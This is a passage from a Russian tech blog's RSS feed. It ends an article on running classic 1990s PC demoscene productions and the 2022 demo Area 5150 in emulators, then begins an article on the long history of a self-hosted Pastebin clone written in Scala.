    <img src="https://img2.teletype.in/files/d0/a8/d0a8ba06-ba4f-4b4f-9b6a-42d992329294.png" width="1088" />
    <figcaption>Теперь вы тоже умеете править конфиги под DOS, поздравляю.</figcaption>
  </figure>
  <p id="looc">Надо привести содержимое файла к тому что показано на картинке выше, после чего перезапустить систему. </p>
  <p id="CGAz">После перезапуска команда <code>mem</code> выдаст уже совершенно другую картинку, материализовав целых 619Кб свободной памяти:</p>
  <figure id="0M54" class="m_column">
    <img src="https://img2.teletype.in/files/18/d7/18d71eaa-151f-4905-95ab-093fc39533a5.png" width="1088" />
    <figcaption>В народе такое называют &quot;достать&quot;.</figcaption>
  </figure>
  <p id="tjW9">Теперь наконец можно запускать <code>SECOND.EXE</code>:</p>
  <figure id="h0Ca" class="m_column">
    <img src="https://img3.teletype.in/files/6a/e4/6ae4eb74-a4e2-4535-b1c4-01985282c458.png" width="1088" />
  </figure>
  <p id="jiNC">Конечно можно выбрать «No sound», но тем самым потеряется половина удовольствия от просмотра демо. </p>
  <p id="2W20">Так что я очень советую зайти в раздел «Sound» в настройках эмулируемой машины и добавить звуковую карту:</p>
  <figure id="KkOL" class="m_original">
    <img src="https://img3.teletype.in/files/2a/9c/2a9c26da-c5e2-49bb-9e36-f11546f2d71c.png" width="512" />
  </figure>
  <p id="sGug">Затем выставить карте вот такие настройки:</p>
  <figure id="utfu" class="m_original">
    <img src="https://img3.teletype.in/files/29/86/2986d8af-96a0-4974-92fa-5f2747f5d91e.png" width="232" />
  </figure>
  <p id="0B8v">Чтобы вы понимали и осознали момент, вот так выглядел настоящий «гусь» — <a href="https://en.wikipedia.org/wiki/Gravis_UltraSound" target="_blank">Gravis UltraSound</a>:</p>
  <figure id="cJKy" class="m_original">
    <img src="https://img3.teletype.in/files/ac/e0/ace004c6-3a34-468a-afc0-7cffe7859f43.jpeg" width="2651" />
    <figcaption>Предмет мечтаний простого пользователя PC начала 90х, фото <a href="https://www.wavetable.nl/used-to-own/gravis-ultrasound-max-v2-1/" target="_blank">отсюда</a>.</figcaption>
  </figure>
  <p id="MhOI">Музыкальное сопровождение вызовет полный восторг даже у современного искушенного слушателя, что уж говорить про те годы.</p>
  <p id="SeQL">После выбора звуковой карты наконец запустится сама демка и вы увидите лучшую для 93 года демонстрацию возможностей программистов.</p>
  <figure id="NRET" class="m_original">
    <img src="https://img4.teletype.in/files/f2/eb/f2eb3bfc-67a1-4b56-931d-bf7eb7ee6ae2.jpeg" width="1200" />
    <figcaption>Нарезка сцен из демо</figcaption>
  </figure>
  <h2 id="hJCY">Unreal</h2>
  <p id="AAjL"><a href="https://www.pouet.net/prod.php?which=1274" target="_blank">https://www.pouet.net/prod.php?which=1274</a></p>
  <p id="HyHN">Первое место на <a href="https://www.pouet.net/party.php?which=7&when=1992" target="_blank">Assembly 1992</a>, <a href="https://www.youtube.com/watch?v=pLJhtefcoPE" target="_blank">запись</a> в виде ролика.</p>
  <p id="VppW">Из отзывов:</p>
  <blockquote id="NTfe">This must be the first megademo I&#x27;d ever seen on the PC... runs fine on a 386 and it&#x27;s got awesome gfx, killer music for its time and it&#x27;s the next best thing for future crew after Second Reality. A must have.</blockquote>
  <p id="TbDV">Вторая по известности работа знаменитых сценеров Future Crew, именно ее в запущенном виде можно увидеть на заглавной картинке к статье.</p>
  <p id="zPrN">Первые кадры:</p>
  <figure id="XD8j" class="m_column">
    <img src="https://img1.teletype.in/files/49/ff/49ff73f6-44e8-4c30-a807-4cc04abc6284.gif" width="800" />
  </figure>
  <p id="MVNp">Тут все просто, выбираем «Gravis Ultrasound», прозванный в народе «гусем» и жмем <code>Enter</code>:</p>
  <figure id="EnF8" class="m_column">
    <img src="https://img1.teletype.in/files/8e/57/8e574bae-b17f-496c-af71-5857fd1fda72.png" width="1088" />
  </figure>
  <p id="u6yf">Сразу после выбора звуковой карты запустится представление.</p>
  <p id="R8WL">Это также одна из первых увиденных мною демок, которая будучи запущенной на 486м производила неизгладимое впечатление.</p>
  <figure id="44es" class="m_original">
    <img src="https://img3.teletype.in/files/2a/9c/2a9c57c1-4411-4884-b502-a413e54b413c.jpeg" width="1200" />
    <figcaption>Нарезка сцен из демо, хотя влезло далеко не все.</figcaption>
  </figure>
  <h2 id="2cul">Stars: Wonders of the World</h2>
  <p id="6umD"><a href="https://www.pouet.net/prod.php?which=301" target="_blank">https://www.pouet.net/prod.php?which=301</a></p>
  <p id="BG5I">Первое место на <a href="https://www.pouet.net/party.php?which=7&when=1995" target="_blank">Assembly 1995</a>, <a href="https://www.youtube.com/watch?v=Z2gj_m_soUk" target="_blank">полная запись</a> в виде ролика.</p>
  <p id="I1Zb">Из отзывов:</p>
  <blockquote id="RamP">great dzgn! ra gfx, moby msx.! .. ahh.. nooon, had the power. the demo was 1st on the charts for a 2 yrs, as i rmber :)</blockquote>
  <p id="Hljx">Как видите уровень «<a href="https://en.wikipedia.org/wiki/Leet" target="_blank">l33t speak</a>» зашкаливает, поскольку это работа известного сценера <a href="https://www.pouet.net/groups.php?which=138" target="_blank">NooN</a> с такими же <s>отбитыми</s> фанатами — они все на этом языке разговаривают ;) </p>
  <p id="95LR">Знаменитая золотая оса:</p>
  <figure id="vLN0" class="m_column">
    <img src="https://img2.teletype.in/files/9d/88/9d88fb0c-6de1-4b9b-b05d-af2238c73bb9.gif" width="800" />
    <figcaption>Один из самых запоминающихся эффектов, который смотрится круто даже сегодня.</figcaption>
  </figure>
  <p id="zY1l">Несмотря на весьма скромные системные требования:</p>
  <figure id="RXBd" class="m_original">
    <img src="https://img4.teletype.in/files/7f/10/7f10c23b-e6b4-4fff-9e2a-625771111a6c.png" width="621" />
  </figure>
  <p id="iuvZ">все же пришлось немного увеличить общий размер памяти — до 8Мб, чтобы не выгружать резидентов:</p>
  <figure id="FS8p" class="m_original">
    <img src="https://img3.teletype.in/files/af/b3/afb36b97-9eb3-4c05-8a5a-4bebe78caa3e.png" width="491" />
  </figure>
  <p id="g71v">Дальше запускаем <code>STARS.EXE</code> и наслаждаемся шоу. </p>
  <p id="54ji">Думаю уже на первой минуте просмотра станет понятно почему и за что работе выдали первое место.</p>
  <figure id="Qac9" class="m_original">
    <img src="https://img2.teletype.in/files/10/3a/103addae-96d9-4266-b264-11a2cb1e7654.jpeg" width="1200" />
    <figcaption>Лучшие моменты.</figcaption>
  </figure>
  <h2 id="Mrg6">Inside</h2>
  <p id="brGM"><a href="https://www.pouet.net/prod.php?which=74" target="_blank">https://www.pouet.net/prod.php?which=74</a></p>
  <p id="eiPn">Первое место на <a href="https://www.pouet.net/party.php?which=43&when=1996" target="_blank">The Gathering 1996</a>, полная <a href="https://www.youtube.com/watch?v=nTLEdy5fLmA" target="_blank">запись</a> в виде ролика.</p>
  <p id="6s5w">Из отзывов:</p>
  <blockquote id="1iB6">how to define &quot;cool&quot;? well, this monster is really a &quot;cool&quot; demo! even shaft would be proud of it.</blockquote>
  <p id="pndv">Еще одна классическая работа сценеров из группы <a href="https://demozoo.org/groups/26/" target="_blank">CNCD</a>, оставивших заметный след в виде огромного количества работ, начиная еще с Amiga.</p>
  <p id="547S">Первые кадры:</p>
  <figure id="gPNN" class="m_column">
    <img src="https://img2.teletype.in/files/5f/bc/5fbce871-5fa2-4ef4-b1c2-ac7419c280d9.gif" width="800" />
    <figcaption>Если приглядеться - можно заметить еще и размытие.</figcaption>
  </figure>
  <p id="uqsU">Это демо требует более мощного железа и на 486м запускаться отказывается:</p>
  <figure id="X0F2" class="m_original">
    <img src="https://img2.teletype.in/files/16/83/1683b181-fe9e-4c1b-9463-9689bfdbd053.png" width="567" />
  </figure>
  <p id="WXbA">Поэтому либо создаем новую виртуальную машину в эмуляторе, либо меняем настройку у существующей, произведя таким образом «апгрейд»: </p>
  <figure id="yUzA" class="m_original">
    <img src="https://img3.teletype.in/files/61/e7/61e791b3-1bc2-4779-be83-cfdde3b89132.png" width="707" />
  </figure>
  <p id="zfKa">Еще надо обновить звуковую карту, поскольку с «гусем» демо также работать отказывается. </p>
  <p id="oR81">Выбираем «Sound Blaster 16» и выставляем настройки:</p>
  <figure id="kUGS" class="m_original">
    <img src="https://img4.teletype.in/files/f3/1c/f31cf3ce-45d2-4ce4-acf8-31ccdfcb28e5.png" width="630" />
    <figcaption>У автора когда-то тоже был Sound Blaster, правда более мощный.</figcaption>
  </figure>
  <p id="g0NW">В обоих случаях повторять установку MS-DOS с нуля не надо, достаточно подключить созданный в прошлый раз образ диска.</p>
  <p id="IMfv">Кстати примерно такой же апгрейд когда-то произошел и в реальности: </p>
  <blockquote id="khXy">автор будучи школьником обновлял свой 486й на первый пентимум.</blockquote>
  <p id="7i0q">На лицо глубокие исторические параллели, хотя конечно из-за разных сокетов, выглядело это как замена одного системного блока на другой с перестановкой диска.</p>
  <p id="KVv8">Но вернемся к демке.</p>
  <p id="SzOf">С «Inside» есть еще одна существенная проблема:</p>
  <blockquote id="jChE">тут есть отдельный конфигуратор для звуковой карты, который пишет настройку на диск.</blockquote>
  <p id="kZIj">А поскольку мы все это время запускали демки с виртуального CD-ROM — ничего сохранить конфигуратор не сможет, придется копировать каталог с демо на диск <code>С:</code> и запускать уже оттуда.</p>
  <p id="vtkd">Также стоит удалить файл <code>SOUND.CFG</code>, который присутствует в оригинальном архиве с демо — на нем зачем-то поставили атрибут «только для чтения», отчего конфигуратор не может этот файл перезаписать.</p>
  <p id="Sr6z">Запускаем <code>SETUP.EXE</code> (тот самый конфигуратор) и выбираем из списка «Sound Blaster 16 driver»:</p>
  <figure id="7jnL" class="m_column">
    <img src="https://img3.teletype.in/files/a2/95/a295d7ca-e621-459b-b7b8-4ae5b2cf2b88.png" width="1088" />
  </figure>
  <p id="i8ih">Дальше просто последовательно жмем <code>Enter</code>, в конце должно появиться сообщение, что конфигурация успешно сохранена:</p>
  <figure id="x9I2" class="m_column">
    <img src="https://img3.teletype.in/files/e0/60/e0607f8e-9669-4a30-b62a-9c20c84b6129.png" width="1088" />
  </figure>
  <p id="J4im">Теперь наконец можно запускать, вводим <code>INSIDE.EXE</code> и наслаждаемся шедевром из 1996 года.</p>
  <figure id="mPxG" class="m_original">
    <img src="https://img3.teletype.in/files/21/7b/217bdd38-c444-46ba-9a66-0e7497dfe8b7.jpeg" width="1200" />
    <figcaption>Некоторые сцены из демо, сильно далеко не все.</figcaption>
  </figure>
  <h2 id="4vTE">Contrast</h2>
  <p id="3wYl"><a href="https://www.pouet.net/prod.php?which=72" target="_blank">https://www.pouet.net/prod.php?which=72</a></p>
  <p id="WiaG">Первое место на <a href="https://www.pouet.net/party.php?which=1116&when=1996" target="_blank">Saturne 1996</a>, <a href="https://www.youtube.com/watch?v=--4zSvQIbvw" target="_blank">полная запись</a> в виде ролика.</p>
  <p id="1ZhF">Из комментариев:</p>
  <blockquote id="yXLH">This demo along with Bomb/Impact Studios, changed single-handedly the PC demoscene. It was in France, same year, same party, both prods. None is better than the other, yet they are both very relevand. Constrast is an instant classic. It&#x27;s worth paying attention to this production.</blockquote>
  <p id="tAGU">Да это тоже классика демосцены, работа именитой французской команды <a href="https://www.pouet.net/groups.php?which=57" target="_blank">Oxygene [OXG]</a>, которая недавно отметила юбилей — <strong>30</strong> лет!</p>
  <p id="cgJ7">Не все так долго на свете живут, сколько эти парни присутствуют на сцене. </p>
  <p id="AmaF">Первые кадры:</p>
  <figure id="XcyC" class="m_column">
    <img src="https://img1.teletype.in/files/41/ff/41ffb892-803f-415e-accf-eeffc1a06480.gif" width="800" />
  </figure>
  <p id="mPZH">Эта работа также требует пентиум и не заработает на 486м, поэтому используем конфигурацию, созданную для предыдущей демо (см. выше).</p>
  <p id="MJlz">Запускаем <code>CONTRAST.EXE</code>, появится меню выбора звуковой карты, где выбираем «Sound Blaster 16»:</p>
  <figure id="nDIo" class="m_column">
    <img src="https://img2.teletype.in/files/df/7c/df7c5e3b-d5a1-41ad-9398-312f5243badd.png" width="1088" />
  </figure>
  <p id="16lw">Сразу после выбора карты запустится демо, которое очень рекомендую досмотреть до конца — авторы приберегли самые крутые эффекты на конец представления.</p>
  <blockquote id="ryBe">Не забывайте утирать слезы восторга при просмотре, поскольку на 1996й год сопоставимая графика была лишь в Голливуде.</blockquote>
  <p id="lHfD"></p>
  <figure id="35uE" class="m_original">
    <img src="https://img1.teletype.in/files/8d/3e/8d3eea47-cdd3-408a-b68e-7e7d8c1b42ab.jpeg" width="1200" />
    <figcaption>Нарезка <strong>первых</strong> кадров из демо Area5150. Не самых эпичных кадров, а просто первых.</figcaption>
  </figure>
  <h2 id="fAdy">Сцена мертва?</h2>
  <p id="X5Yg">Существует распространенное мнение, что «демосцена мертва», «ее лучшие годы давно прошли» и новых эпических работ больше не будет. </p>
  <p id="39it">Ну что ж, мнение вполне обоснованное, тем более что автор и сам его разделял, пока не увидел <strong>это</strong>.</p>
  <h3 id="e3FX">Area 5150 by <a href="https://www.pouet.net/groups.php?which=10932" target="_blank">CRTC</a> &amp; <a href="https://www.pouet.net/groups.php?which=541" target="_blank">Hornet</a></h3>
  <p id="n6Lp"><a href="https://www.pouet.net/prod.php?which=91938" target="_blank">https://www.pouet.net/prod.php?which=91938</a></p>
  <p id="Qluc">Работа 2022(!) года, занявшая первое место на <a href="https://www.pouet.net/party.php?which=18&when=2022" target="_blank">Evoke 2022</a> и очень быстро вставшая на один уровень с золотой классикой демосцены, рядом с «Second Reality» и «Crystal Dream 2»:</p>
  <figure id="oCnZ" class="m_original">
    <img src="https://img1.teletype.in/files/83/82/8382a9d3-e064-4c47-9037-6a3c6a57b3fc.png" width="829" />
  </figure>
  <p id="YcMK">Только вдумайтесь в эти требования:</p>
  <blockquote id="iPfB">IBM PC, CGA, 4.77 MHz 8088, hard drive</blockquote>
  <p id="OGeP">Все это — невероятный винтаж, железо из 1981 года (старше автора), CGA-монитор с 16 цветами выглядел как-то так:</p>
  <figure id="BvRs" class="m_original">
    <img src="https://img2.teletype.in/files/d1/5f/d15f4739-763c-4390-a6ce-c9135e4bf3fd.jpeg" width="580" />
    <figcaption>Фото <a href="https://www.dosdays.co.uk/computers/IBM%20PC%20(5150)/pics.php" target="_blank">отсюда</a>.</figcaption>
  </figure>
  <p id="5Bk8">И вот на таком музейном экспонате авторы умудрились закодировать <strong>это</strong>, причем относительно недавно — в 2022м году:</p>
  <figure id="91Qx" class="m_column">
    <img src="https://img1.teletype.in/files/86/f6/86f6ee37-2eaf-4e19-8523-b531d236426a.gif" width="800" />
    <figcaption>Как тебе такое, Илон Маск?</figcaption>
  </figure>
  <p id="PJxv">Из <a href="https://www.pouet.net/prod.php?which=91938" target="_blank">отзывов</a>:</p>
  <blockquote id="2gox">crazy good! lot of content with surreal quality for the platform limitations <br />wow!! incredible<br />(Did...did someone already dare to tell them there&#x27;s EGA nowadays?)<br />Jesus Bitshifting Christ, this isn&#x27;t even funny anymore.<br />Fantastic!!! You have done the impossible!</blockquote>
  <p id="oEmR">Cамый частый вопрос к создателям (помимо обвинений в колдовстве), судя по отзывам, был «как такое вообще возможно».</p>
  <p id="N0ad">Автор точно также недоумевает и несмотря на весь свой опыт — не имеет ни малейшего представления как <strong>это</strong> вообще работает.</p>
  <p id="Y6bq">Теперь о плохом и печальном:</p>
  <blockquote id="5HUi">чтобы запустить демо, придется серьезно напрячься — эмулировать PC XT и запустить внутри MS-DOS 3.20.</blockquote>
  <p id="sB5T">Скромно молчу о варианте с запуском на реальном железе, поскольку сие будет совсем большой проблемой для современного обывателя.</p>
  <p id="M1c0">Собираем виртуальную машину со следующими настройками:</p>
  <figure id="e5fD" class="m_original">
    <img src="https://img1.teletype.in/files/82/b4/82b4dd06-d536-4fad-a9be-aa190bc7d271.png" width="1404" />
    <figcaption>Справа можно заметить MS-DOS 3.20 в работе.</figcaption>
  </figure>
  <p id="eOSp">На этот раз никаких CD-ROM и контроллеров дисков, только флоппи, только хардкор:</p>
  <figure id="vVuS" class="m_original">
    <img src="https://img1.teletype.in/files/c2/58/c25884c2-a827-4e06-bbc4-536c5fec97c4.png" width="511" />
  </figure>
  <p id="MVyg">Не забываем выставить тип монитора как CGA:</p>
  <figure id="JwvT" class="m_original">
    <img src="https://img1.teletype.in/files/0d/26/0d26848a-10e0-4c40-bc36-36a9c61fd5ed.png" width="513" />
  </figure>
  <p id="6AQN">Включаем оба дисковода, первый оставляем с форматом <code>360к</code> — с него будет загружаться MS-DOS, у второго выставляем формат <code>720к</code>:</p>
  <figure id="PAXn" class="m_original">
    <img src="https://img3.teletype.in/files/24/a6/24a6619e-cbf0-4991-b8dc-f0e82d42944d.png" width="827" />
  </figure>
  <p id="ZaYZ">720к нужен по той простой причине, что демо довольно жирное и на 360к не помещается. </p>
  <blockquote id="zeps">А более современный 1.44M старый MS-DOS еще не поддерживал — в качестве исторической справки.</blockquote>
  <p id="V7K9">Образ MS-DOS 3.20 можно скачать <a href="http://old-dos.ru/index.php?page=files&mode=files&do=show&id=352" target="_blank">тут</a>, автор использовал версию для <a href="https://en.wikipedia.org/wiki/Olivetti" target="_blank">компьютеров Olivetti</a>, про которые тоже стоит как-нибудь рассказать.</p>
  <p id="ACAB">Следующий головоломный этап — пробросить демо на эмулируемый компьютер 1981 года. </p>
  <p id="oKEw">С этой задачей поможет пакет <a href="https://en.wikipedia.org/wiki/Mtools" target="_blank">GNU Mtools</a>, про который уже как-то рассказывал. Пакет весьма известный, поэтому скорее всего будет доступен и в вашей системе под одним и тем же названием <a href="https://www.freshports.org/filesystems/mtools/" target="_blank">mtools</a>.</p>
  <p id="y2G7">Скачиваем <a href="http://archives.oldskool.org/pub/misc/area5150.zip" target="_blank">архив</a> с демо и распаковываем, затем создаем новый пустой образ дискеты на 720Кб:</p>
  <pre id="MefB" data-lang="bash">mformat -f 720 -C -i ./floppy.img</pre>
  <p id="8Nec">Копируем внутрь образа все файлы демки (их довольно много):</p>
  <pre id="VjAM" data-lang="bash">mcopy -i floppy.img ./area/* ::</pre>
  <p id="ULzO">Дальше запускаем виртуальный PC XT и с помощью меню «Media» вставляем в первый дисковод загрузочный образ MS-DOS 3.20, а во второй — только что созданный образ с демо:</p>
  <figure id="EjhN" class="m_original">
    <img src="https://img1.teletype.in/files/c9/a9/c9a912c1-0638-4fab-a714-2135d3d55e80.png" width="1136" />
  </figure>
  <p id="zB4y">Переходим на диск <code>B:</code> и наконец запускаем этот шедевр:</p>
  <figure id="oFsA" class="m_original">
    <img src="https://img1.teletype.in/files/88/46/8846698c-96e0-4b79-957b-585eb4647e2c.gif" width="444" />
  </figure>
  <p id="TV8S">Дабы избежать ненужного негатива, сразу предупреждаю, что некоторые эффекты работают в эмуляторе 86Box <strong>неправильно</strong>:</p>
  <blockquote id="5mxk">Sorry we broke all your emulators again!</blockquote>
  <p id="cOUr">В частности будет заметно глючить программная рефлексия — отражения на воде, ближе к концу представления. </p>
  <p id="0PhJ">Чтобы в полной мере насладиться этой уникальной работой, стоит использовать более специализированный эмулятор <a href="https://github.com/dbalsom/martypc" target="_blank">MartyPC</a>, специально созданный для максимально точной эмуляции компьютера PC XT. </p>
  <p id="l9Jw">Но это уже другая история, поэтому расскажу в следующий раз.</p>
  <figure id="cCJ6" class="m_original">
    <img src="https://img3.teletype.in/files/af/48/af48d92b-fb63-4713-99e4-80c9a7cc2c25.png" width="590" />
    <figcaption>Еще один кадр из этой эпической демо.</figcaption>
  </figure>
  <p id="tpQq"></p>
  <figure id="PL6q" class="m_column">
    <img src="https://img2.teletype.in/files/1b/58/1b58d308-fd09-444d-b289-0f365f83d856.png" width="1320" />
    <figcaption>https://timeweb.cloud/</figcaption>
  </figure>
  <h2 id="QDAD">Спонсоры</h2>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4ZKX">Материал создан при поддержке компании <a href="https://timeweb.cloud/" target="_blank">Timeweb Cloud</a>, за что им огромная благодарность и всяческие респекты. </p>
  </section>
  <p id="LVAd">Оригинал статьи, <a href="https://habr.com/ru/companies/timeweb/articles/1025590/" target="_blank">опубликованный на Хабре</a> вызвал определенный интерес — это первая статья на моей памяти, продержавшаяся <strong>три дня</strong> с момента публикации без единого минуса. </p>
  <p id="uS6n">Так что историю с рассказами о демосцене точно будем продолжать.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/33-failures-story</guid><link>https://blog.0x08.ru/33-failures-story?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/33-failures-story?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>33 несчастья или история одного проекта</title><pubDate>Sun, 05 Apr 2026 09:27:51 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e4/75/e4758fd7-170e-40a6-99e2-b9a8cc052b51.png"></media:content><category>project-management</category><description><![CDATA[<img src="https://img3.teletype.in/files/e5/7a/e57ab321-1877-4b4f-a39e-c702ebce15d6.jpeg"></img>Эту печальную историю стоит прочесть всем, кто еще не понял разницы между «создать» и «владеть» применительно к программному обеспечению.]]></description><content:encoded><![CDATA[
  <p id="CW06">Эту печальную историю стоит прочесть всем, кто еще не понял разницы между «создать» и «владеть» применительно к программному обеспечению. </p>
  <p id="Q6tN">Заодно узнаете, чем на самом деле занимаются большинство разработчиков на крупных проектах.</p>
  <figure id="UQo3" class="m_original">
    <img src="https://img3.teletype.in/files/e5/7a/e57ab321-1877-4b4f-a39e-c702ebce15d6.jpeg" width="1920" />
    <figcaption>Виновник торжества в работе. Слева.</figcaption>
  </figure>
  <p id="JIJm">«Карпати, один из самых влиятельных людей в мире AI, собрал второй мозг на LLM. А ты до сих пор какой-то фигней занимаешься» — из отзывов.</p>
  <p id="JIGe"></p>
  <p id="SZHl">Осенью 2012 года, устав гонять разработчиков за обмен корпоративными исходниками через публичный Pastebin, решил сделать его аналог, для внутреннего использования. </p>
  <p id="2RfZ">Так появился проект «<a href="https://github.com/alex0x08/paster/" target="_blank">Пастер</a>», существующий до сих пор. </p>
  <p id="sPwH">Впрочем речь пойдет не о нем самом а об используемых технологиях и метаморфозах, случившихся с проектом за <strong>14</strong> лет жизни  — в качестве иллюстрации, чего стоит поддержка <em>действующего</em> проекта на длинной дистанции. </p>
  <h2 id="xjvd">Идея</h2>
  <p id="UspV">Как уже было упомянуто выше, главной идеей проекта была легковесная, развертываемая локально замена известному сервису <a href="https://pastebin.com/" target="_blank">Pastebin</a>:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="fPIX">берется кусок кода, выдержка из логов, цитата древнегреческого философа или еще что-то такое непонятное — условно «паста», вставляется в специальную веб-форму и сохраняется. </p>
  </section>
  <p id="YDgx">Затем генерируется ссылка для просмотра, которая отправляется через мессенжеры всем заинтересованным лицам. Через какое-то время устаревшие записи удаляются.</p>
  <p id="rJ8q">Все просто.</p>
  <p id="iD9d">Позже появилась подсветка синтаксиса, построчные комментарии, авторизация и даже возможность что-то нарисовать поверх текста, но самое главное что оставалось неизменным — функциональная замена Pastebin.</p>
  <p id="U2x0">Про текущий функционал Пастера есть <a href="https://blog.0x08.ru/paster-overview-2025" target="_blank">отдельная статья</a> с картинками, ныне это выглядит как-то так:</p>
  <figure id="9u1e" class="m_column">
    <img src="https://img2.teletype.in/files/d8/b3/d8b3965b-9c92-4838-80cf-efcb16f1924f.jpeg" width="1346" />
    <figcaption>Толщина линий специально сделана переменной длины, чтобы создавался эффект росчерка пером.</figcaption>
  </figure>
  <p id="glz0">Проектов, реализующих подобную идею в том или ином виде — <s>как говна за баней</s> очень много.</p>
  <p id="B0aG">В Пастере тоже нет ничего нового или уникального, такой фунционал легко повторяем, а в 21м веке подобную штуку может сгенерировать любая приличная нейросеть.</p>
  <p id="RXOS">Но как обычно есть нюанс:</p>
  <blockquote id="xS6X">как брак не заканчивается на свадьбе, так и программный проект не заканчивается на разработке.</blockquote>
  <p id="fN4j">В обоих случаях самое интересное происходит <s>за закрытыми дверями</s> на длинной дистанции.</p>
  <figure id="SeE1" class="m_column">
    <img src="https://img1.teletype.in/files/00/61/0061455a-515a-4a08-b074-53c4dc2536dd.png" width="1366" />
    <figcaption>Одна из первых версий, 2013 год. За фоновую картинку с голой бабой меня долго ругали тестировщицы ;)</figcaption>
  </figure>
  <h2 id="Rxes">Особенности реализации</h2>
  <p id="QBid">Стоит сразу сказать, что «Пастер» никогда не был коммерческим проектом и всю свою 14 летнюю историю представлял из себя <em>внутренний инструмент</em>, разрабатываемый в свободное время и с чисто прикладными задачами.</p>
  <p id="K918">Поэтому технологии для реализации проекта выбирались из того что было под рукой (например знаменитый в те годы <a href="https://en.wikipedia.org/wiki/AppFuse" target="_blank">Appfuse</a> — предок <a href="https://www.jhipster.tech/" target="_blank">JHipster</a>) или из тех технологий, что были интересны автору.</p>
  <p id="8Aiv">Это кстати характерный штрих, поскольку именно из таких опций (интерес и наличие под рукой) чаще всего происходит выбор технологического стека на практике. Все эти ваши «оптимально для выбранной задачи», «применимость» или «успешные кейсы» остаются обычно на уровне презентации.</p>
  <p id="txiI">В итоге получился весьма занятный <s>франкенштейн</s> комбайн: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DJbo">классический Spring-Hibernate-JSP стек, где вместо Java использовалась более интересная Scala</p>
  </section>
  <p id="aHcF">Были попытки обойтись и без СУБД, но довольно быстро выяснилось, что сопровождать на длинной дистанции физическое хранение и процесс записи на диск в рамках прикладного проекта слишком накладно. Хотя начальная разработка безусловно была проста и красива.</p>
  <p id="R9uN">Не взлетела и реализация с хранением записей только в памяти — все закончилось на первом же обновлении: </p>
  <blockquote id="ta3K">внезапно оказалось, что утрата всех записей разом это не очень хорошо для пользователей. </blockquote>
  <p id="5VO5">Даже если записи считаются временными.</p>
  <p id="OZca">Примерно по той же причине <em>сильной недооценки</em> важности пользовательских данных отказались и от нереляционных СУБД и от попыток хранения записей в файлах и поисковых индексах.</p>
  <p id="NF3j">С последними оказалось, что поисковый индекс Lucene плохо подходит для частого обновления отдельных записей, а при любой ошибке легко и просто образует дубли. </p>
  <p id="S4UX"></p>
  <figure id="Nlh3" class="m_column">
    <img src="https://img1.teletype.in/files/0b/6c/0b6ccdb3-ad61-4fb6-b18c-74925dc7d919.png" width="1651" />
  </figure>
  <h2 id="Ps4G">Репозиторий</h2>
  <p id="FLoy">Практически все время — все 14 лет разработка Пастера велась в одном и том же <a href="https://github.com/alex0x08/paster" target="_blank">публичном репозитории</a> на Github. </p>
  <blockquote id="mJYi">Но ввиду загруженности по основным проектам — далеко не всегда получалось создавать нормальные коммиты с описанием функционала, так что треша внутри хватает.</blockquote>
  <p id="URFy">Тем не менее, <a href="https://github.com/alex0x08/paster/blob/master/paster-webapp/src/main/scala/com/Ox08/paster/webapp/model/Paste.scala" target="_blank">код последних версий</a> вычищен и откомментирован, а сам проект весьма стабилен и готов для использования даже не сильно продвинутыми пользователями.</p>
  <p id="RBUa">Ниже будут примеры исходного кода как из текущей, так и из старых версий Пастера, хотя все они находятся в одном и том же репозитории.</p>
  <figure id="WyKU" class="m_original">
    <img src="https://img4.teletype.in/files/33/9a/339a4dde-5f1f-464b-9cf5-23496ee31255.png" width="603" />
  </figure>
  <h2 id="dSlG">Выбор Scala</h2>
  <p id="pnGR">Хотя <a href="https://www.scala-lang.org/" target="_blank">Scala</a> на 2012й год была весьма стабильной и для Пастера использовалась уже 2.х версия языка — связку Scala + Spring + Hibernate, где существенная часть логики связана с обработкой аннотаций на клиентских классах, на практике мало кто использовал.</p>
  <p id="ghwK">Поэтому мы вдоволь наелись <em>самых экзотических ошибок</em>, выясняя методом разбитого лба как ведут себя сканеры классов Spring и Hibernate при обработке байткода, созданного компилятором Scala.</p>
  <p id="Kvaf">Для примера, далеко не сразу выяснилось, что у полей Entity класса, реализованного на Scala должно быть значение по-умолчанию:</p>
  <pre id="YEi1" data-lang="scala">@ManyToOne(fetch = FetchType.EAGER,cascade= Array(CascadeType.PERSIST,CascadeType.MERGE))
@JoinColumn(name = &quot;owner_id&quot;)
private var owner:User = null</pre>
  <p id="Fcca">Были проблемы с типами данных, с наследованием классов, с перечислениями (enum), с аннотациями — удалось собрать наверное <strong>все</strong> возможные проблемы совместимости Java и Scala с точки зрения прикладного проекта.</p>
  <p id="EVwV">Кстати на момент создания Пастера, существовала только одна реализация Scala — на базе JVM и компиляцией в байткод, компиляторы в JavaScript (<a href="https://www.scala-js.org/" target="_blank">Scala.js</a>) и <a href="http://www.scala-native.org/" target="_blank">нативный код</a> появились позже.</p>
  <p id="wr4T">Так что технически Пастер работал и работает на обычной JVM, хотя его исходный код (бекэнд) написан на Scala.</p>
  <h3 id="v8uJ">История с Maven</h3>
  <p id="FTcg">Традиционной для проектов на Scala системой сборки считается <a href="https://www.scala-sbt.org/" target="_blank">sbt</a> — такая своеобразная штука, больше всего похожая на Gradle, но использующая «Scala-based DSL» вместо Groovy в качестве языка сценариев.</p>
  <blockquote id="RP0A">На момент создания Пастера, <code>sbt</code> был еще очень сырым проектом и что куда важнее — очень плохо интегрировался со средами разработки.</blockquote>
  <p id="GsEb">Это сейчас проект на <code>sbt</code> легко подхватывается и на CI-сервере и в любой современной IDE, но в 2012м все было сильно хуже.</p>
  <p id="In2T">Вторым важным нюансом, повлиявшим на выбор была <strong>сложность сборки</strong>. </p>
